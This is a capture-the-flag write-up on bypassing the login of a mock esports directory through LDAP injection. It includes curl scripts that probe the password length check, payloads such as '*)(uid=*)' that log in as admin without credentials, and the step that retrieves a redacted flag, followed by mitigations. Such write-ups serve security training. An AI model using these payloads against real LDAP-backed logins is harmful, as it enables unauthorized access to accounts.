Overview
The challenge presents a login page for ROSTER HQ, an esports team directory. The objective is to gain authenticated access and retrieve the flag. The application is vulnerable to LDAP injection in the username field.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
The notes use $TARGET/connect as the login endpoint and a cookies.txt jar to persist the session cookie across requests. No wordlist or credentials are required.
Recon
Step 1 — Inspect the login
Goal: Confirm the login endpoint, parameters, and initial failure behavior.
curl -i "$TARGET/"
The root page redirects to /connect. The login endpoint accepts:
POST /connect
username=
password=
An invalid username/password returns:
Log in to Directory Failed
An initial LDAP-style payload produced:
Password length not acceptable
Interpretation: The password is validated before the username reaches the LDAP lookup, so a sufficiently long password is required before LDAP injection in username can be tested.
Enumeration
Step 2 — Determine the password length
Goal: Find a password length that passes the length validation.
for n in 1 2 4 6 8 10 12 16 20 24 32 64; do
pw=$(printf 'A%.0s' $(seq 1 $n))
result=$(curl -s -X POST "$TARGET/connect" \
--data-urlencode 'username=test' \
--data-urlencode "password=$pw")
if echo "$result" | grep -q "Password length not acceptable"; then
echo "$n -> REJECTED"
else
echo "$n -> PASSED LENGTH CHECK"
fi
done
A password of at least 5 characters passed the length validation. For the exploit, AAAAAAAA (8 characters) is used.
Step 3 — Test for LDAP injection
Goal: Confirm that LDAP metacharacters in username alter the LDAP filter and bypass authentication.
With PASSWORD=AAAAAAAA, a series of candidate usernames was tested:
PASSWORD=AAAAAAAA
for u in \
'*' \
'admin*' \
'*)(&' \
'*)(uid=*)' \
'*)(|(uid=*))' \
'*)(&(uid=*))'
do
echo
echo "===== $u ====="
curl -s -i -c cookies.txt -X POST "$TARGET/connect" \
--data-urlencode "username=$u" \
--data-urlencode "password=$PASSWORD" |
grep -Ei \
'HTTP/|Location:|Set-Cookie:|Password length|Failed|Success|Welcome|Directory|Player|Roster|flag'
done
The key result:
===== *)(uid=*) =====
HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=...; HttpOnly; Path=/
The same redirect behavior occurs with *)(|(uid=*)) and *)(&(uid=*)).
Interpretation: The injected filter *)(uid=*) causes the LDAP query to match an account rather than requiring the supplied username/password to correspond to a legitimate account — LDAP injection is confirmed.
Vulnerability Analysis
The flaw class is LDAP Injection (CWE-90: Improper Neutralization of Special Elements used in an LDAP Query). The payload *)(uid=*) closes the intended filter and appends a condition that is always true, allowing authentication without valid credentials.
Exploitation
Step 4 — Confirm the authenticated account
Goal: Follow the redirect using the session cookie to verify the account reached.
curl -i -b cookies.txt -c cookies.txt -L "$TARGET/"
<h2>Welcome, admin</h2>
<a href="/config-update">Edit player profile</a>
<a href="/audit-export">Open team report</a>
<a href="/audit-export">Open team report</a>
<a href="/logout">Logout</a>
Interpretation: Authentication as admin succeeded, and the profile exposes /config-update and /audit-export.
Step 5 — Retrieve the flag via /audit-export
Goal: Read the team report endpoint with the authenticated session.
curl -s -b cookies.txt "$TARGET/audit-export"
safctf{REDACTED}
Interpretation: /audit-export directly exposes the flag to the authenticated session, completing the solve.
Flag
safctf{REDACTED}
Retrieved from /audit-export after authenticating as admin via LDAP injection.
Lessons / Takeaways
- Validate all client input before it reaches a downstream query builder; length-checking the password does not protect the username.
- LDAP metacharacters (
*,(,),|,&) must be escaped or the input must be passed through a parameterised LDAP API. - Always test for injection in every parameter, not just the obvious one — here the username, not the password, was the injection vector.
Mitigations
- Escape LDAP-special characters in user-supplied values, or preferably use a parameterised LDAP API that treats input as literal.
- Validate and whitelist expected username formats (e.g. alphanumeric only) before constructing the filter.
- Apply least privilege to the LDAP bind account so even a successful injection reads minimal data.
Techniques
References
- OWASP, “LDAP Injection”: https://owasp.org/www-community/attacks/LDAP_injection
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query: https://cwe.mitre.org/data/definitions/90.html

